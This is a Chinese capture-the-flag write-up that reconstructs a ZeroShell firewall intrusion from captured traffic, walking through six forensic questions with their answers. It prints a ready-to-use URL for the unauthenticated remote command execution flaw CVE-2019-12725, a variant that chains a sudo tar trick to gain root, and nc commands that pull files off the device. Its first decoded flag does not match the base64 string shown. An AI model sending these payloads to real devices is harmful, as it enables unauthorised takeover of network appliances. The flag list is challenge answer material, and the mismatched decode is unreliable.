玄机靶场-2024长城杯&CISCN-威胁流量分析-zeroshell WP
困难级别,800分,应急响应类型。6道题,考的是从流量包里还原一次完整的 ZeroShell 防火墙入侵事件,从漏洞利用到木马植入,再到逆向分析通信密钥,链路很完整。
背景
题目场景:公司网络出口出现异常通信,需要通过回溯出口流量对防火墙设备定位,并确认异常设备。然后进行深度取证检查(需要获取 root 权限)。从网络攻击数据包中找出漏洞攻击的会话,分析会话编写 exp 或数据包重放获取防火墙设备管理员权限,查找防火墙设备上安装的木马,然后分析木马外联地址和通信密钥以及木马启动项位置。
附件:2e9c01da1d333cb8840968689ed3bc57.7z(270.1MB),解压密码:11b0526b-9cfb-4ac4-8a75-10ad9097b7ce
1. 从流量包中找出漏洞攻击会话的 Flag
打开 pcap 流量包,先在 Wireshark 里搜索关键字exec,很快就能定位到一个可疑的 HTTP 数据包。这个请求的 URL 里有命令执行的痕迹,追踪该 HTTP 数据包的 TCP 数据流,发现请求头中的Referer字段很异常——是一段 base64 字符串。
Referer: ZmxhZ3s2QzJFMzhEQS1EOEU0LThEODQtNEE0Ri1FMkFCRDA3QTFGMzB9把这段 base64 丢进 CyberChef 解码:
base64_decode("ZmxhZ3s2QzJFMzhEQS1EOEU0LThEODQtNEE0Ri1FMkFCRDA3QTFGMzB9") = flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}Flag 1:flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}
2. 通过漏洞利用获取设备控制权限并找到 Flag 文件
步骤1定位的 HTTP 数据流里,请求中的x509type参数可以用来执行命令,这是 ZeroShell 防火墙的历史漏洞CVE-2019-12725(远程命令执行)。
漏洞利用的 URL 格式如下:
http://[target]/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A[命令]%0A%27利用该漏洞执行find / -name "flag"命令,找到两个 flag 文件路径:
/DB/_DB.001/flag /Database/flag继续执行cat /DB/_DB.001/flag或cat /Database/flag,两个文件内容相同:
c6045425-6e6e-41d0-be09-95682a4f65c4Flag 2:flag{c6045425-6e6e-41d0-be09-95682a4f65c4}
3. 找出驻留木马的外联 IP 地址
拿到 shell 后,在设备上执行netstat -n -p查看当前网络连接,在外部地址列表中发现一个特别的 IP:
202.115.89.103这个 IP 与其他正常的内网通信明显不同,是木马的 C2 外联地址。
Flag 3:flag{202.115.89.103}
4. 找出木马进程执行的本体文件名称
在设备上执行ls -al /tmp和ls -al /Database,在/tmp目录下发现一个可执行文件:
/tmp/.nginx文件名以.开头做隐藏处理,伪装成 nginx 相关文件,实际是木马本体。
Flag 4:flag{.nginx}
5. 逆向分析木马通信加密密钥
把/tmp/.nginx文件下载到本地(记得先关杀软),方法是用 nc 传输:
在接收端(本地):
nc-lnvp4444>back在设备端(通过 RCE):
nc[本地IP]4444</tmp/.nginx拿到二进制文件后拖入 IDA Pro,直接搜索字符串,找到一个明文密钥字符串:
11223344qweasdzxc这就是木马与 C2 通信时使用的加密密钥,以明文形式硬编码在二进制文件中。
Flag 5:flag{11223344qweasdzxc}
6. 找出驻留木马的启动项路径
运行.nginx之后,在/tmp目录会出现循环进程保活的机制。用grep在/var目录下全局搜索.nginx的引用:
grep-r".nginx"/var也可以通过 ZeroShell 的 RCE 漏洞执行:
http://[target]/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%27grep -r ".nginx" /var%27%0A%27在/var/register/system/startup/scripts/nat/目录下找到了启动脚本File,里面包含了对.nginx的调用,这就是木马的持久化启动项。
Flag 6:flag{/var/register/system/startup/scripts/nat/File}
总结
这道题完整还原了一次针对 ZeroShell 防火墙的入侵事件:攻击者利用CVE-2019-12725无需认证的 RCE 漏洞,通过构造恶意x509type参数执行系统命令,在设备上植入伪装成.nginx的木马,并在/var/register/system/startup/scripts/nat/File中写入启动项实现持久化,最终与 C2 服务器202.115.89.103建立加密通信(密钥11223344qweasdzxc)。
Flag 汇总:
| 步骤 | 内容 | Flag |
|---|---|---|
| 1 | 攻击会话中的 Flag(Referer base64解码) | flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A} |
| 2 | 设备上的 Flag 文件内容 | flag{c6045425-6e6e-41d0-be09-95682a4f65c4} |
| 3 | 木马外联 IP 地址 | flag{202.115.89.103} |
| 4 | 木马本体文件名 | flag{.nginx} |
| 5 | 通信加密密钥 | flag{11223344qweasdzxc} |
| 6 | 木马启动项完整路径 | flag{/var/register/system/startup/scripts/nat/File} |